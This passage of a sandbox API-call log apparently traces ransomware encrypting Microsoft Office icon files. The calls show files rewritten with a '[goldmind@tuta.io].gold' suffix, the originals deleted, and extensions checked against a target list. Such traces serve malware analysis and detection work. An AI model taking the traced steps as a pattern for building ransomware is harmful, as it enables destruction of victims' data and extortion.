lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.695] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.695] SetEndOfFile (hFile=0x194) returned 1 [0115.695] CloseHandle (hObject=0x194) returned 1 [0115.695] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.695] SetEndOfFile (hFile=0x230) returned 1 [0115.697] CloseHandle (hObject=0x230) returned 1 [0115.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico")) returned 1 [0115.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.698] lstrlenW (lpString=".doc") returned 4 [0115.698] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.698] lstrlenW (lpString=".docx") returned 5 [0115.698] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.698] lstrlenW (lpString=".pdf") returned 4 [0115.698] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.698] lstrlenW (lpString=".xls") returned 4 [0115.698] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.698] lstrlenW (lpString=".xlsx") returned 5 [0115.698] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.698] lstrlenW (lpString=".ppt") returned 4 [0115.698] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.698] lstrlenW (lpString=".zip") returned 4 [0115.699] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString=".rar") returned 4 [0115.699] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString=".bz2") returned 4 [0115.699] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.699] lstrlenW (lpString=".7z") returned 3 [0115.699] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString=".dbf") returned 4 [0115.699] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString=".1cd") returned 4 [0115.699] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString=".jpg") returned 4 [0115.699] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString=".doc") returned 4 [0115.699] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.699] lstrlenW (lpString=".docx") returned 5 [0115.699] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.699] lstrlenW (lpString=".pdf") returned 4 [0115.699] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString=".xls") returned 4 [0115.699] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString=".xlsx") returned 5 [0115.699] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.699] lstrlenW (lpString=".ppt") returned 4 [0115.699] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString=".zip") returned 4 [0115.699] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString=".rar") returned 4 [0115.699] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.699] lstrlenW (lpString=".bz2") returned 4 [0115.699] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.699] lstrlenW (lpString=".7z") returned 3 [0115.699] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString=".dbf") returned 4 [0115.699] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.699] lstrlenW (lpString=".1cd") returned 4 [0115.699] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0115.700] lstrlenW (lpString=".jpg") returned 4 [0115.700] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.700] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.700] lstrlenW (lpString="SCDCNCLL.ICO") returned 12 [0115.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.700] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0115.700] CloseHandle (hObject=0x230) returned 1 [0115.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico")) returned 0x20 [0115.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.701] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.701] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.702] GetLastError () returned 0x0 [0115.702] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.703] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.704] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.704] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.704] SetEndOfFile (hFile=0x194) returned 1 [0115.704] CloseHandle (hObject=0x194) returned 1 [0115.704] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.704] SetEndOfFile (hFile=0x230) returned 1 [0115.705] CloseHandle (hObject=0x230) returned 1 [0115.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico")) returned 1 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString=".doc") returned 4 [0115.707] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.707] lstrlenW (lpString=".docx") returned 5 [0115.707] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.707] lstrlenW (lpString=".pdf") returned 4 [0115.707] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString=".xls") returned 4 [0115.707] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString=".xlsx") returned 5 [0115.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.707] lstrlenW (lpString=".ppt") returned 4 [0115.707] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString=".zip") returned 4 [0115.707] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString=".rar") returned 4 [0115.707] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString=".bz2") returned 4 [0115.707] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.707] lstrlenW (lpString=".7z") returned 3 [0115.707] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString=".dbf") returned 4 [0115.707] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString=".1cd") returned 4 [0115.707] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString=".jpg") returned 4 [0115.707] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.707] lstrlenW (lpString=".doc") returned 4 [0115.707] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.707] lstrlenW (lpString=".docx") returned 5 [0115.707] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.707] lstrlenW (lpString=".pdf") returned 4 [0115.707] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString=".xls") returned 4 [0115.707] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.707] lstrlenW (lpString=".xlsx") returned 5 [0115.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.707] lstrlenW (lpString=".ppt") returned 4 [0115.707] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.708] lstrlenW (lpString=".zip") returned 4 [0115.708] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.708] lstrlenW (lpString=".rar") returned 4 [0115.708] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.708] lstrlenW (lpString=".bz2") returned 4 [0115.708] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.708] lstrlenW (lpString=".7z") returned 3 [0115.708] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.708] lstrlenW (lpString=".dbf") returned 4 [0115.708] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.708] lstrlenW (lpString=".1cd") returned 4 [0115.708] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0115.708] lstrlenW (lpString=".jpg") returned 4 [0115.708] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.708] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.708] lstrlenW (lpString="SCDCNCLS.ICO") returned 12 [0115.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.727] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2998) returned 1 [0115.727] CloseHandle (hObject=0x198) returned 1 [0115.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico")) returned 0x20 [0115.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.775] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.775] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.776] GetLastError () returned 0x0 [0115.776] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.796] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.797] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.797] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.797] SetEndOfFile (hFile=0x230) returned 1 [0115.797] CloseHandle (hObject=0x230) returned 1 [0115.797] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.797] SetEndOfFile (hFile=0x3d0) returned 1 [0115.798] CloseHandle (hObject=0x3d0) returned 1 [0115.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico")) returned 1 [0115.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.847] lstrlenW (lpString=".doc") returned 4 [0115.847] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.847] lstrlenW (lpString=".docx") returned 5 [0115.847] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.847] lstrlenW (lpString=".pdf") returned 4 [0115.848] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".xls") returned 4 [0115.848] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".xlsx") returned 5 [0115.848] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.848] lstrlenW (lpString=".ppt") returned 4 [0115.848] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".zip") returned 4 [0115.848] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".rar") returned 4 [0115.848] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".bz2") returned 4 [0115.848] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.848] lstrlenW (lpString=".7z") returned 3 [0115.848] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".dbf") returned 4 [0115.848] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".1cd") returned 4 [0115.848] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".jpg") returned 4 [0115.848] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".doc") returned 4 [0115.848] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.848] lstrlenW (lpString=".docx") returned 5 [0115.848] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.848] lstrlenW (lpString=".pdf") returned 4 [0115.848] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".xls") returned 4 [0115.848] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".xlsx") returned 5 [0115.848] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.848] lstrlenW (lpString=".ppt") returned 4 [0115.848] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".zip") returned 4 [0115.848] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".rar") returned 4 [0115.848] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.848] lstrlenW (lpString=".bz2") returned 4 [0115.848] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.848] lstrlenW (lpString=".7z") returned 3 [0115.848] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".dbf") returned 4 [0115.848] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.848] lstrlenW (lpString=".1cd") returned 4 [0115.848] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0115.849] lstrlenW (lpString=".jpg") returned 4 [0115.849] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.849] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.849] lstrlenW (lpString="SCDRESTL.ICO") returned 12 [0115.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.849] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0115.849] CloseHandle (hObject=0x38c) returned 1 [0115.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico")) returned 0x20 [0115.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.850] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.850] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.851] GetLastError () returned 0x0 [0115.851] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.872] WriteFile (in: hFile=0x188, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.872] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.872] WriteFile (in: hFile=0x188, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.873] SetEndOfFile (hFile=0x188) returned 1 [0115.873] CloseHandle (hObject=0x188) returned 1 [0115.873] SetFilePointerEx (in: hFile=0x38c, 